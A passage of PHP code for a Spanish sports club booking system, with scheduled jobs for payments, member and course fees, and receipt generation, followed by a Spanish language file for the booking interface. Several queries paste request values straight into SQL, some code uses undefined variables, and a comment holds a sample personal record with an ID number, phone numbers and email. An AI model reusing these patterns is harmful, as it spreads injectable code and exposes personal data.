$this->db->where('status', $payment_status_to_erase);
$this->db->where('datetime <=', $limit_datetime);
$data = array(
'status' => $payment_status_to_cancel,
'modify_user' => '0',
'modify_time' => date($this->config->item('log_date_format')),
'modify_ip' => $this->session->userdata('ip_address')
);
$this->db->update($payments_table, $data);
log_message('debug',$this->db->last_query());
$this->db->where('create_time <=', $limit_datetime);
$this->db->where('status', $booking_status_to_erase);
$this->db->delete($booking_table);
log_message('debug','Reservas no confirmadas, borradas: '.$this->db->last_query());
/*
$sql_insert = "insert into booking_cancelled (id_booking, id_transaction, id_user, booking_code, session, id_court, date, intervalo, status, cancelation_reason, id_paymentway, price, no_cost, no_cost_desc, user_nif, user_desc, user_phone, create_user, create_time, create_ip) (select id_booking, id_transaction, id_user, booking_code, session, id_court, date, intervalo, status, 'Reserva cancelada automaticamente por impago', id_paymentway, price, no_cost, no_cost_desc, user_nif, user_desc, user_phone, '0', '".date($this->config->item('log_date_format'))."', '".$this->session->userdata('ip_address')."' from ".$booking_table." where modify_time = '".$limit_datetime."' AND status = '".$booking_status_to_cancel."')";
$this->db->query($sql_insert);
log_message('debug','Reservas impagadas, borradas: '.$this->db->last_query());
$this->db->where('create_time <=', $limit_datetime);
$this->db->where('status', $booking_status_to_cancel);
$this->db->delete($booking_table);
log_message('debug',$this->db->last_query());
*/
/*
$this->db->delete('booking',array('create_time <=', $limit_datetime, 'status', $booking_status_to_cancel));
log_message('debug',$this->db->last_query());
*/
exit();
}
function scheduled_payments()
{
# Nuevos pagos pendientes para remesas bancarias para los cursos
//echo "Testigo ".strtotime(' -3minutes').' - '.date('Y-m-d H:i:s', strtotime(' -3minutes'));
$payments_table = 'payments';
$limit_datetime = date('Y-m-d H:i:s', strtotime(' -5minutes'));
$payment_status = '2';
$paymentway = '4';
$this->db->where("id_payment IN (SELECT id FROM ".$payments_table." WHERE status = '5' and id_paymentway = '".$paymentway_to_erase."' and datetime <='".$limit_datetime."')");
//$this->db->where('id_paymentway', $paymentway_to_erase);
$this->db->delete($payments_extra_table);
log_message('debug','Pagos inutilizados, borrados: '.$this->db->last_query());
exit();
}
function night_process()
{
exit();
}
#####################
#
# Funciรณn que genera los pagos relativos a las cuotas de usuarios
#
####################
function users_quotas()
{
$this->load->library('users_lib');
$pagadores = $this->users_lib->get_quotable_users('ALL');
$pagados = array();
$no_pagados = array();
//print("<pre>");print_r($pagadores);print_r($invalidos);exit();
foreach($pagadores as $pagador) {
if(isset($pagador['code_price']) && $pagador['code_price']!= '0' && $this->users_lib->pay_user_quota($pagador['id'], array('code_price' => $pagador['code_price'], 'name' => trim($pagador['first_name'].' '.$pagador['last_name']), 'group_id' => $pagador['group']))) {
array_push($pagados, $pagador);
} else {
array_push($no_pagados, $pagador);
}
}
if(count($pagados) > 0) {
$this->load->model('Notifications_model', 'mails', TRUE);
$message = $this->load->view('users/new_quotas_notification', array('usuarios' => $pagados), true);
$registro = array(
'subject' => 'Creados nuevos pagos de cuotas de usuario',
'from' => $this->config->item('email_from'),
'destination_id' => 0,
'destination_text' => $this->config->item('users_qouta_admin_notification'),
'content' => $message,
'active' => 1,
'create_user' => $this->session->userdata('user_id'),
'create_ip' => $this->session->userdata('ip_address'),
'create_time' => date(DATETIME_DB)
);
$this->mails->createNotificationMessage($registro);
}
$invalidos = $this->users_lib->get_quotable_users(FALSE);
#Aรฑado al array de invรกlidos aquellos que se nos pasaron como vรกlidos pero que luego no han podido ser cobrados por la funciรณn
foreach($no_pagados as $fallo) {
array_push($invalidos, array('id' => $fallo['id'], 'nombre' => trim($fallo['first_name'].' '.$fallo['last_name'])));
}
if(count($invalidos) > 0) {
$this->load->model('Notifications_model', 'mails', TRUE);
$message = $this->load->view('users/bad_quotas_notification', array('usuarios' => $invalidos), true);
$registro = array(
'subject' => 'Errores en cobro de cuotas de usuario',
'from' => $this->config->item('email_from'),
'destination_id' => 0,
'destination_text' => $this->config->item('users_qouta_admin_notification'),
'content' => $message,
'active' => 1,
'create_user' => $this->session->userdata('user_id'),
'create_ip' => $this->session->userdata('ip_address'),
'create_time' => date(DATETIME_DB)
);
$this->mails->createNotificationMessage($registro);
}
//print("<pre>");print_r($pagadores);print_r($invalidos);exit();
//echo 'aa';
//exit();
}
#####################
#
# Funciรณn que genera los pagos relativos a las inscripciones de los usuarios en clases
#
####################
function lessons_quotas()
{
$this->load->model('redux_auth_model', 'users', TRUE);
$this->load->helper('jqgrid');
$this->load->library('calendario');
$this->load->model('Lessons_model', 'lessons', TRUE);
//echo '----'.$this->config->item('log_date_format').'---'.date($this->config->item('log_date_format'));
#Recupero lista de usuarios
//$where= "lessons.active = 1 and lessons_assistants.status IN (1,2,3) and lessons.start_date <= '".date($this->config->item('date_db_format'))."' AND lessons.end_date >= '".date($this->config->item('date_db_format'))."'";
$where= "lessons.active = 1 and lessons_assistants.status IN (1,2,3) AND lessons.end_date >= '".date($this->config->item('date_db_format'))."' ";
$pagadores = $this->lessons->get_AssitantsData(array('where' => $where, 'order_by' => ' lessons.id asc, users.group_id'),"all");
//print("<pre>");print_r($pagadores);exit();
foreach($pagadores as $pagador) {
$this->calendario->pay_user_quota($pagador['id'], array('object' => $pagador));
}
}
#####################
#
# Funciรณn que genera los pagos relativos a las inscripciones de los usuarios en clases
#
####################
function lessons_quotas_torrijos($curso_id = NULL)
{
$this->load->model('redux_auth_model', 'users', TRUE);
$this->load->helper('jqgrid');
$this->load->library('calendario');
$this->load->model('Lessons_model', 'lessons', TRUE);
$this->load->library('users_lib');
$debug = FALSE;
# Genero el codigo de barras
require($this->config->item('root_path').'system/libraries/barcode/BCGFontFile.php');
require($this->config->item('root_path').'system/libraries/barcode/BCGColor.php');
require($this->config->item('root_path').'system/libraries/barcode/BCGDrawing.php');
require($this->config->item('root_path').'system/libraries/barcode/BCGcode128.barcode.php');
set_time_limit (900);
ini_set("memory_limit","900M");
//echo '----'.$this->config->item('log_date_format').'---'.date($this->config->item('log_date_format'));
#Recupero lista de usuarios
$add_where = "";
if(isset($curso_id)) $add_where = " and lessons.id = '".$curso_id."' ";
//if(isset($curso_id)) $add_where = " and lessons.id >= '".$curso_id."' and lessons.id <= '".(intval($curso_id)+2)."' ";
//$where= "lessons.active = 1 and lessons_assistants.status IN (1,2,3) and lessons.start_date <= '".date($this->config->item('date_db_format'))."' AND lessons.end_date >= '".date($this->config->item('date_db_format'))."'";
$where= "lessons.active = 1 and lessons_assistants.status IN (1,2,3) AND lessons.end_date >= '".date($this->config->item('date_db_format'))."' ".$add_where; //and users.group_id < 7";
$pagadores = $this->lessons->get_AssitantsData(array('where' => $where, 'order_by' => ' lessons.id asc, meta.last_name'),"all");
require($this->config->item('root_path').'system/libraries/fpdf/fpdf.php');
$pdf = new FPDF();
$i=0;print("<pre>");print_r($pagadores);
if($debug) print("<pre>");
if($debug) print_r($pagadores);
//if($debug) exit();
$id_curso=0; $desc_curso = '';
foreach($pagadores as $pagador) {
$chk_couta = FALSE;
if($id_curso==0 || $id_curso != intval($pagador['id_lesson'])) {
if($id_curso!=0) $pdf->Output($this->config->item('root_path').'data/recibos/'.$desc_curso.'.pdf', 'F');
if($debug) echo '<br>Grabo el fichero '.$desc_curso.'.pdf';
unset($pdf);
$pdf = new FPDF();
$desc_curso = urlencode($pagador['description']).' ('.$pagador['id_lesson'].')';
$id_curso = $pagador['id_lesson'];
}
$i++;
if($debug) echo '<br>Alumno '.$pagador['user_desc'].' del curso '.$pagador['description'];
# Si el tio no era socio, subimos de nivel
if($pagador['group_id']>=7) {
$chk_couta = TRUE;
if($pagador['group_id']==7) $cuota_socio = 6;
else $cuota_socio = 10;
$this->db->query("update users set group_id = group_id-2 WHERE id = '".$pagador['id_user']."'");
$this->users_lib->pay_user_quota($pagador['id_user'], array('payable_quota'=> $cuota_socio));
//$assistant=get_object_vars ($this->calendario->getAssistantInfo($pagador['id']));
if($debug) echo 'Pago su cuota de usuario';
}
if(isset($pagador) && is_array($pagador)) $assistant=$pagador;
else $assistant=get_object_vars ($this->calendario->getAssistantInfo($pagador['id']));
$tmp__ = $pagadores = $this->lessons->get_AssitantsData(array('where' => $where." and lessons_assistants.id_user = ".$pagador['id_user'], 'order_by' => ' lessons.id asc, meta.last_name'),"all");
$assistant=$tmp__[0];
//print('asistente<pre>');print_r($assistant);exit();
$assistant_info = $this->users->get_user($assistant['id_user']);
//print('usuario<pre>');print_r($assistant_info);exit();
$info = $this->calendario->getCalendarByRange($assistant['id_lesson']);
//print('curso<pre>');print_r($info);exit();
$this->load->model('Payment_model', 'pagos', TRUE);
//exit();
if(!isset($quantity) || $quantity == '') $quantity = 1; // Mensualidades por defecto a pagar
# Si se ha marcado como dado de alta el usuario, seguimos..
if($assistant['signed'] == '1') {
if($debug) echo '<br>Estรก apuntado al curso ';
if(!isset($assistant['last_day_payed']) || $assistant['last_day_payed']=="") {
$ultima_fecha = $assistant['sign_date'];
$dia = date('d', strtotime($ultima_fecha));
$dia_de_pago = '01';
if($dia < $dia_de_pago) {
$trozos = split('-', $ultima_fecha);
$last_payd_date = $trozos[0].'-'.$trozos[1].'-'.$dia_de_pago;
} elseif($dia > $dia_de_pago) {
$fecha_siguiente = date($this->config->item('log_date_format'), strtotime($assistant['sign_date'].' +'.$info->price_duration.' '.$this->pagos->getFrequencyCommand($info->frequency)));
$trozos = split('-', $fecha_siguiente);
$last_payd_date = $trozos[0].'-'.$trozos[1].'-'.$dia_de_pago;
if(!is_array($trozos)) { print('asistente<pre>');print_r($assistant); $last_payd_date = date('Y').'-'.date('m').'-'.$dia_de_pago;}
} else {
$last_payd_date = date($this->config->item('log_date_format'), strtotime($assistant['sign_date'].' +'.$info->price_duration.' '.$this->pagos->getFrequencyCommand($info->frequency)));
}
//echo "1<br>";
} else {
$last_payd_date = date($this->config->item('log_date_format'), strtotime($assistant['last_day_payed'].' +'.$info->price_duration.' '.$this->pagos->getFrequencyCommand($info->frequency)));
//echo "2<br>";
}
if($debug) echo '<br>... las_payd_date: '.$last_payd_date; //exit();
$paymentway = 4; //Forma pago temporal.. por banco
if(isset($quantity) && $quantity!=0 && $quantity!="" && isset($paymentway) && $paymentway!=0 && $paymentway!="") {
/*
$cuota = $assistant['quota'];
$pay_amount_tmp = $cuota * $quantity;
if($assistant->discount_type == '%') $pay_amount = $pay_amount_tmp - ($pay_amount_tmp * $assistant->discount / 100);
else $pay_amount = $pay_amount_tmp - $assistant->discount;
*/
$pay_amount = $assistant['quota'];
if($debug) echo '<br>La cuota es '.$pay_amount;
//exit('cuota:'.$pay_amount);
if($this->lessons->setMonthlyPayment($pagador['id'], $last_payd_date)) { if($debug) echo '<br>Pagado: Pago hasta el '.date($this->config->item('reserve_date_filter_format'), strtotime($last_payd_date)).' realizado';}
else {
if($debug) echo '<br>Error al definir la cuota como pagada';
}
if($assistant['id_user'] != '' && $assistant['id_user'] != 0) $user_desc = $assistant['first_name'].' '.$assistant['last_name'];
else $user_desc = $assistant['user_desc'];
$estado = 9;
if($paymentway == 4) $estado = 2;
if($pay_amount == 0) $estado = 9;
$this->pagos->id_type=2; //Clases y cursos
$this->pagos->id_element=$this->session->userdata('session_id');
$this->pagos->id_transaction='l-'.$assistant['id_lesson'].'-'.$assistant['id_user'].'-'.date('U'); // Formato 'l' de lesson, codigo de curso, codigo de usuario y fecha del momento del pago
$this->pagos->id_user=$assistant['id_user'];
$this->pagos->desc_user=$user_desc;
$this->pagos->id_paymentway = $paymentway;
$this->pagos->status=$estado;
$this->pagos->quantity = $pay_amount;
$this->pagos->datetime=date($this->config->item('log_date_format'));
$this->pagos->description="Cuota mensual del curso '".$assistant['description']."', hasta el ".$last_payd_date;
$this->pagos->create_user=$this->session->userdata('user_id');
$this->pagos->create_time=date($this->config->item('log_date_format'));
$this->pagos->setPayment();
if($debug) echo '<br>Pago realizado';
$pago = $this->pagos->getPaymentByTransaction($this->pagos->id_transaction);
//print_r($pago); exit();
##########################################3
##########################################
## PINTAR
###############################
if($debug) echo '<br>Comienzo a pintar la hoja..';
$quota = number_format($pay_amount, 2);
//print_r($array_result);exit();
$imgPath = $this->config->item('root_path').'images/templates/plantilla.jpg';
//$imgStampPath = $this->config->item('root_path').'images/users/'.$array_result['avatar'];
$font = $this->config->item('root_path').'system/fonts/FreeSansBold.ttf';
$doc_title = 'Cuota de curso';
//print_r($array_result);
//$imgPath = $this->config->item('root_path').'images/templates/'.$carnet_permission[$array_result['group_id']];
//$imgStampPath = $this->config->item('root_path').'images/users/'.$array_result['avatar'];
if(!file_exists($imgPath) || !file_exists($font)) exit ('Fallo en la carga de las plantillas necesarias');
# Abro plantilla de carnet
$size=getimagesize($imgPath);
switch($size["mime"]){
case "image/jpeg":
$image = imagecreatefromjpeg($imgPath); //jpeg file
break;
case "image/gif":
$image = imagecreatefromgif($imgPath); //gif file
break;
case "image/png":
$image = imagecreatefrompng($imgPath); //png file
break;
default:
$image=false;
break;
}
if(!$image) exit ('Fallo en la carga de las plantillas necesarias');
// Set the margins for the stamp and get the height/width of the stamp image
$marge_right = 200;
$marge_bottom = 1900;
//imagecopy($image, $fotocarnet_thumb, imagesx($image) - $ancho_fotocarnet_thumb - $marge_right, imagesy($image) - $alto_fotocarnet_thumb - $marge_bottom, 0, 0, $ancho_fotocarnet_thumb, $alto_fotocarnet_thumb);
# Escribo los datos del usuario
$white = imagecolorallocate($image, 255, 255, 255);
$grey = imagecolorallocate($image, 128, 128, 128);
$black = imagecolorallocate($image, 0, 0, 0);
$fontSize = 46; // Tamaรฑo de texto normal
$text_xpos = 270; // Margen izquierdo
imagettftext($image, 72, 0, 1200, 300, $black, $font, $doc_title); // Titulo
//$array_result= array('user_lastname' => 'Nieto Castellano', 'user_name' => 'Juan Josรฉ', 'cif' => '50107654S', 'birthdate' => '20/08/1977', 'address' => 'Calle de Constancia, 17, 3ยบ C', 'population' => 'Torrijos de arribarrigota', 'cp' => '28058', 'phone' => '915092162', 'phone2' => '656424453', 'email' => 'juanjitojuanjitoo0000o.nieto@gmail.com');
imagettftext($image, $fontSize, 0, $text_xpos, 665, $black, $font, $assistant_info['user_lastname'].', '.$assistant_info['user_name']); // Nombre
imagettftext($image, $fontSize, 0, $text_xpos+1600, 665, $black, $font, $assistant_info['nif']); // DNI
imagettftext($image, $fontSize, 0, $text_xpos, 850, $black, $font, date($this->config->item('reserve_date_filter_format'),strtotime($assistant_info['birth_date']))); // fecha nacimiento
imagettftext($image, $fontSize-5, 0, $text_xpos+400, 850, $black, $font, $assistant_info['address']); // direccion
if(strlen($assistant_info['population'])<= 15 ) imagettftext($image, $fontSize, 0, $text_xpos+1600, 850, $black, $font, $assistant_info['population']); // telefono movil
elseif(strlen($assistant_info['population'])<= 20 ) imagettftext($image, $fontSize-10, 0, $text_xpos+1600, 850, $black, $font, $assistant_info['population']);
elseif(strlen($assistant_info['population'])<= 23 ) imagettftext($image, $fontSize-15, 0, $text_xpos+1600, 850, $black, $font, $assistant_info['population']);
else imagettftext($image, $fontSize-20, 0, $text_xpos+1600, 850, $black, $font, $assistant_info['population']);
imagettftext($image, $fontSize, 0, $text_xpos, 1030, $black, $font, $assistant_info['cp']); // codigo postal
//imagettftext($image, $fontSize, 0, $text_xpos+450, 1030, $black, $font, $assistant_info['user_phone']); // telefono fijo
imagettftext($image, $fontSize, 0, $text_xpos+400, 1030, $black, $font, $assistant_info['user_phone']); // telefono movil
imagettftext($image, $fontSize, 0, $text_xpos+900, 1030, $black, $font, $assistant_info['user_id']); // telefono movil
if(strlen($assistant_info['user_email'])<= 22 ) imagettftext($image, $fontSize, 0, $text_xpos+1175, 1030, $black, $font, $assistant_info['user_email']); // telefono movil
elseif(strlen($assistant_info['user_email'])<= 28 ) imagettftext($image, $fontSize-10, 0, $text_xpos+1175, 1030, $black, $font, $assistant_info['user_email']);
elseif(strlen($assistant_info['user_email'])<= 33 ) imagettftext($image, $fontSize-15, 0, $text_xpos+1175, 1030, $black, $font, $assistant_info['user_email']);
else imagettftext($image, $fontSize-20, 0, $text_xpos+1175, 1030, $black, $font, $assistant_info['user_email']);
if($chk_couta) {
imagettftext($image, $fontSize-5, 0, $text_xpos, 1300, $black, $font, 'Cuota de socio es de '.$cuota_socio.' euros.'); // Nombre
imagettftext($image, $fontSize-5, 0, $text_xpos, 1400, $black, $font, 'Cuota para el curso "'.$info->description.'" es de '.$quota.' euros. '); // Nombre
imagettftext($image, $fontSize-5, 0, $text_xpos, 1500, $black, $font, 'El total a abonar es de '.intval($cuota_socio + $quota).' euros'); // Nombre
} else {
imagettftext($image, $fontSize-5, 0, $text_xpos, 1300, $black, $font, 'Cuota para el curso "'.$info->description.'" es de '.$quota.' euros. '); // Nombre
}
imagettftext($image, $fontSize-5, 0, $text_xpos, 1800, $black, $font, 'El ingreso deberรก realizarse en alguno de los siguientes nรบmeros de cuenta:'); // Nombre
imagettftext($image, $fontSize, 0, $text_xpos+50, 1900, $black, $font, '2105 0039 34 1290022090 (Caja Castilla-La Mancha)'); // Nombre
imagettftext($image, $fontSize, 0, $text_xpos+50, 2000, $black, $font, '3081 0181 03 2563768528 (Caja Rural)'); // Nombre
imagettftext($image, $fontSize-5, 0, $text_xpos, 2100, $black, $font, 'En el concepto de pago deberรก poner \''.$pago->ticket_number.'\''); // Nombre
imagettftext($image, $fontSize-10, 0, $text_xpos, 2250, $black, $font, 'Deberรก acompaรฑarse la presente solicitud con el justificante del ingreso'); // Nombre
$font = $this->config->item('root_path').'system/fonts/FreeSansBold.ttf';
$font = new BCGFontFile($this->config->item('root_path').'system/fonts/Arial.ttf', 10);
$color_black = new BCGColor(0, 0, 0);
$color_white = new BCGColor(255, 255, 255);
// Barcode Part
$code = new BCGcode128();
$code->setScale(5);
$code->setThickness(30);
$code->setForegroundColor($color_black);
$code->setBackgroundColor($color_white);
$code->setFont($font);
$code->setStart(NULL);
$code->setTilde(true);
$code->setOffsetX(1);
$code->setOffsetX(1);
//$code->clearLabels();
$code->parse($pago->ticket_number);
$tamaรฑo_barcode = $code->getDimension(0, 0);
$ancho_barcode = $tamaรฑo_barcode[0];
$alto_barcode = $tamaรฑo_barcode[1];
//exit('aa');
$barcode = imagecreatetruecolor($ancho_barcode, $alto_barcode);
$background_color = imagecolorallocate($barcode, 255, 255, 255);
imagefill($barcode, 0, 0, $background_color);
// Drawing Part
$drawing = new BCGDrawing('', $color_white);
$drawing->set_im($barcode);
$drawing->setBarcode($code);
$drawing->draw($barcode);
//$drawing->finish(BCGDrawing::IMG_FORMAT_PNG);
$marge_right = 1200;
$marge_bottom = 800;
imagecopy($image, $barcode, imagesx($image) - $ancho_barcode - $marge_right, imagesy($image) - $alto_barcode - $marge_bottom, 0, 0, $ancho_barcode, $alto_barcode);
//imagettftext($image, $fontSize, 0, $text_xpos, 140, $black, $font, 'ID: '.$assistant_info['user_id']);
//$anchoo = imagesx($image);
//$altoo = imagesy($image);
//$proporcion = 1.4143;
//$imagen_final = imagecreatetruecolor($anchoo, $altoo);
//$image = imagerotate($image, 90, 0);
//imagecopyresized ($imagen_final, $image, 0, 0, 0, 0, $anchoo, $anchoo/$proporcion, $altoo, $anchoo);
//imagecopyresized ($imagen_final, $image, 0, $altoo / 2, 0, 0, $anchoo, $anchoo/$proporcion, $altoo, $anchoo);
//header("Content-type: image/jpeg");
//header("Content-type: image/jpeg");
//header("Content-Length: " . $size);
// NOTE: Possible header injection via $basename
//header("Content-Disposition: attachment; filename=cuota_" . $code_user .'.jpg');
//header('Content-Transfer-Encoding: binary');
//header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
# Rota la imagen 90 grados
//$image = imagerotate($image, 90, 0);
$recibo_path = $this->config->item('root_path').'data/recibos/'.$pago->ticket_number.'.jpg';
imagejpeg($image,$recibo_path, 100);
// Liberar memoria
imagedestroy($image);
$pdf->AddPage();
$pdf->SetFont('Arial','B',16);
//$pdf->Cell(40,10,'ยกHola, Mundo!');
$pdf->Image($recibo_path, 0, 0, 210);
//exit();
//imagedestroy($imagen_final);
}
}
//if($i==25) $pdf->Output();
}
//$pdf->Output($this->config->item('root_path').'data/recibos/recibos.pdf', 'F');
$pdf->Output($this->config->item('root_path').'data/recibos/'.$desc_curso.'.pdf', 'F');
}
#####################
#
# Funciรณn que genera los pagos relativos a las inscripciones de los usuarios en rankings
#
####################
function ranking_quotas()
{
$this->load->model('redux_auth_model', 'users', TRUE);
$this->load->library('rank_lib');
$this->load->library('app_common');
$this->load->model('Ranking_model', 'rank', TRUE);
//echo '----'.$this->config->item('log_date_format').'---'.date($this->config->item('log_date_format'));
# Recupero lista de rankings
$rankings = $this->rank->get_data(array('where'=>"ranking.started = 1 AND ranking.active = 1"));
//print("<pre>");print_r($rankings);
# Lista a la que aรฑado todos los pagos que habrรก que realizar
$pagadores = array();
# Recorro los rankings activos
foreach($rankings as $ranking) {
# Recupero lista de equipos
$equipos = $this->rank->get_ActiveTeams($ranking['id']);
//print("<pre>");print_r($equipos);
# Recorro los equipos
foreach($equipos as $equipo) {
# Recupero lista de jugadores
$jugadores = $this->rank->get_teams_members(array('where'=>"ranking.started = 1 AND ranking_teams.status = 1 AND ranking_teams_members.status = 1 AND ranking_teams.id = ".$equipo['id']." "));
# Recorro los equipos
$i = 0;
foreach($jugadores as $jugador) {
$this->rank_lib->pay_user_quota($jugador['id']);
//exit('Primer jugador!!');
//$jugadores[$i]['grupo'] = $this->users->getUserGroup($jugador['id_user']);
//$jugadores[$i]['cuota'] = $this->app_common->getPriceValue($ranking['price'], array('group' => $jugadores[$i]['grupo']));
$i++;
}
//print("Equipo ".$equipo['id']."<pre>");print_r($jugadores);
}
}
//exit();
}
#####################
#
# Funciรณn que genera los pagos automaticos para remesas
#
####################
function generate_quotas()
{
//echo 'a';
# Generacion de cuotas de usuarios
$this->users_quotas();
//echo 'b';
# Generacion de cuotas de clases
$this->lessons_quotas();
//echo 'c';
# Generacion de cuotas de ranking
$this->ranking_quotas();
}
#####################
#
# Funciรณn que genera automaticamente los ficheros de exportacion de reservas, usuarios y facturacion
#
####################
function export_data()
{
log_message('debug','Exportaciรณn de datos a fichero');
//set_time_limit(300);
ini_set('memory_limit', '1024M');
$this->load->library('booking');
$this->load->library('users_lib');
$this->load->library('payments_lib');
$this->booking->exportacion();
$this->users_lib->exportacion();
$this->payments_lib->exportacion();
log_message('debug','Fin de exportaciรณn de datos a fichero');
}
}
/* End of file welcome.php */
/* Location: ./system/application/controllers/welcome.php */
```
reservas_lang.php
```<?php
# TEXTO
$lang['reserve_index_text'] = htmlentities("Desde aquรญ podrรกs reservar pista para tu prรณximo partido, pudiendo saber en todo momento quรฉ horarios estรกn libres en cada pista. Tras seleccionar la pista y el horario deberรกs confirmar la reserva realizando el pago, tras lo cual recibirรกs una confirmaciรณn de la misma para tรบ tranquilidad.");
# INTERFACE
$lang['court_date_filters'] = "Seleccion de pista y fecha";
$lang['interval_selection'] = "Seleccion de hora";
$lang['booking_extra_selection'] = "Seleccion de usuario y extras";
$lang['payment_selection'] = "Seleccion de forma de pago";
$lang['payment_confirmation'] = "Confirmacion de reserva";
$lang['selected_date'] = "Fecha seleccionada";
$lang['select_date'] = "Seleccione fecha";
$lang['next_refresh'] = "Próximo refresco de pantalla ";
#CONFIRMACION RESERVA
$lang['confirmation_reserved_for'] = htmlentities("Reserva actual para");
$lang['confirmation_advice_payment'] = htmlentities("Te recordamos que has realizado una reserva ");
$lang['confirmation_advice'] = htmlentities("Vas a confirmar una reserva de ");
$lang['confirmation_total'] = htmlentities("El importe de la reserva es de ");
$lang['confirmation_from'] = htmlentities("desde las");
$lang['confirmation_to'] = htmlentities("hasta las");
$lang['confirmation_court'] = htmlentities("en la pista");
$lang['confirmation_date'] = htmlentities("el dรญa");
$lang['confirmation_light_extra'] = htmlentities("Ha seleccionado el sumplemento de luz");
$lang['confirmation_detail_intro'] = htmlentities("La informaciรณn de la reserva es la siguiente:");
$lang['confirmation_extra_user_data'] = htmlentities("Para confirmar la reserva necesitamos que completes los siguientes datos.");
$lang['confirmation_user_data_explanation'] = htmlentities("Para confirmar la reserva necesitamos definir para quiรฉn es:");
$lang['confirmation_no_cost'] = htmlentities("Marcar para confirmar reserva sin coste.");
$lang['confirmation_no_cost_desc'] = htmlentities("Motivo");
$lang['confirmation_multiuser'] = htmlentities("Marcar para reservar a nombre de otro usuario.");
$lang['confirmation_multiuser_desc'] = htmlentities("Usuario");
$lang['confirmation_allow_reserve'] = htmlentities("Como eres usuario registrado, puedes dejar la pista reservada y pagarla en el club.");
# PAGOS
$lang['payment_success'] = htmlentities("Pago realizado con รฉxito");
$lang['payment_reserve'] = htmlentities("Reserva realizada. Deberรก pagar en el club.");
$lang['payment_waiting'] = htmlentities("Esperando la confirmaciรณn del pago.");
$lang['payment_error'] = "Error en la realización del pago.<br>Se ha eliminado la reserva previa que se había realizado. Intente reservar de nuevo.";
#MENSAJES
$lang['session_lost_alert'] = htmlentities("La informaciรณn de la reserva se perdiรณ. Vuelva a seleccionar su reserva.");
$lang['booking_lost_alert'] = "La informaciรณn de la reserva se perdió o no se localizó una reserva con ese código. Vuelva a seleccionar su reserva.";
$lang['no_cost_reason_required'] = "Debe explicar el motivo por el que no se cobra la reserva.";
$lang['user_info_required'] = "Debe completar la informacion personal para completar la reserva.";
$lang['multiuser_value_required'] = "Si quieres seleccionar a nombre de otro usuario registrado, debe seleccionar cual es.";
#BOTONES
$lang['reserve_button'] = htmlentities("Reserva y paga en el club");
$lang['paypal_button'] = htmlentities("Usa Paypal");
$lang['cash_button'] = htmlentities("Pagar en efectivo");
$lang['prepaid_button'] = htmlentities("Usar monedero");
$lang['tpv_button'] = htmlentities("Usar tarjeta (TPV)");
$lang['creditcard_button'] = htmlentities("Usar tarjeta");
$lang['bank_button'] = htmlentities("Paga por el banco");
# CAMPOS
$lang['sport'] = "Deporte";
$lang['padel'] = "Padel";
$lang['tenis'] = "Tenis";
$lang['spinning'] = "Spinning";
$lang['fisio'] = "Fisioterapia";
$lang['baloncesto'] = "Baloncesto";
$lang['futbol'] = "Futbol";
$lang['futbol7'] = "Futbol7";
$lang['futbolsala'] = "Futbol Sala";
$lang['pingpong'] = "Tenis de mesa";
$lang['voleibol'] = "Voleyball";
$lang['arco'] = "Tiro con arco";
$lang['aerobic'] = "Aerobic";
$lang['pilates'] = "Pilates";
$lang['natacion'] = "Natacion";
$lang['gimnasia'] = "Gimnasia";
$lang['pabellon'] = "Pabellon municipal";
$lang['polivalente'] = "sala polivalente";
$lang['multiusos'] = "Pabellon municipal";
$lang['zumba'] = "Zumba";
$lang['bailes'] = "Bailes de Salon";
$lang['cultura'] = "Actividades Culturales";
$lang['atletismo'] = "Atletismo";
$lang['badminton'] = "Badminton";
$lang['rugby'] = "Rugby";
$lang['taekwondo'] = "Taekwondo";
$lang['judo'] = "Judo";
$lang['baile'] = "Baile Moderno";
$lang['fronton'] = "Fronton";
$lang['court_type'] = "Tipo de pista";
$lang['padelMuro'] = "Padel Muro";
$lang['padelCristal'] = "Padel Cristal";
$lang['tenisCemento'] = "Tenis Cemento";
$lang['tenisTierra'] = "Tenis Tierra Batida";
$lang['padelCubierta'] = "Cubierta";
$lang['padelDescubierta'] = "Competicion descubierta";
$lang['padelPanoramica'] = "Competicion descubierta";
$lang['sala'] = "Sala";
$lang['pistaCentral'] = "Pista Central";
$lang['pistaLateral'] = "Pista Lateral";
$lang['futbol11'] = "Futbol 11";
$lang['futbol7'] = "Futbol 7";
$lang['calle'] = "Calle";
$lang['tiro'] = "Galeria de tiro";
$lang['polivalente'] = "Sala polivalente";
$lang['frontonLargo'] = "Fronton Largo";
$lang['court'] = "Pista";
$lang['reserve_status'] = "Estado";
$lang['libre'] = "Libre";
$lang['prerreserva'] = "Pendiente";
$lang['pendiente_pago'] = "Reservada";
$lang['pagado'] = "Pagado";
$lang['planificado'] = "Programado";
$lang['procesando'] = "En proceso";
$lang['cancelado'] = "Cancelado";
$lang['validado'] = "Validada";
$lang['date1'] = "Desde";
$lang['date2'] = "Hasta";
$lang['hora1'] = "Hora desde";
$lang['hora2'] = "Hora hasta";
# CAMPOS
$lang['mail_booking_confirmation'] = "Confirmacion de reserva";
$lang['mail_booking_change'] = "Modificacion de reserva";
$lang['mail_booking_cancel'] = "Cancelacion de reserva";
$lang['mail_booking_intro_change'] = "Le informamos que se ha modificado su reserva con código";
$lang['mail_booking_intro2_change'] = ", como resultado de lo cual ahora dispone de una <b>nueva reserva</b> con código";
$lang['mail_booking_intro_cancel'] = "Le informamos que se ha cancelado una reserva a su nombre con código";
$lang['mail_booking_intro'] = "Le informamos que ha quedado confirmada su reserva con código ";
$lang['mail_booking_pay_needed'] = "aunque le recordamos que <b>aún deberá abonar</b> el importe de la reserva";
$lang['mail_booking_day'] = "Fecha:";
$lang['mail_booking_time'] = "Horario:";
$lang['mail_booking_court'] = "Pista:";
$lang['mail_booking_greetings'] = "Recuerde llevar el código de reserva y algรบn documento que acredite su identidad.<br> <br>Disfrute del partido!<br> <br>Atentamente";
$lang['mail_booking_player'] = "Participacion en reserva";
$lang['mail_booking_intro_player'] = "Le informamos que ";
$lang['mail_booking_intro_player2'] = " acaba de realizar una reserva en la que le ha asignado como jugador participante. La reserva tiene el código ";
$lang['mail_booking_greetings_player'] = "Si no está al tanto de dicha reserva, no conoce a la persona que reservó o tiene dudas respecto a la validez de la misma, no dude en contactar con el club. <br> En caso de que todo esté correcto, recuerde llevar el código de reserva y algรบn documento que acredite su identidad.<br> <br>Disfrute del partido!<br> <br>Atentamente";
$lang['mail_booking_intro_cancel_player'] = "Le informamos que se ha cancelado una reserva en la que aparecía como jugador. La reserva tenía el código";
$lang['mail_booking_intro_change_player'] = "Le informamos que se ha modificado una reserva en la que aparecía como jugador. La reserva tenía el código";
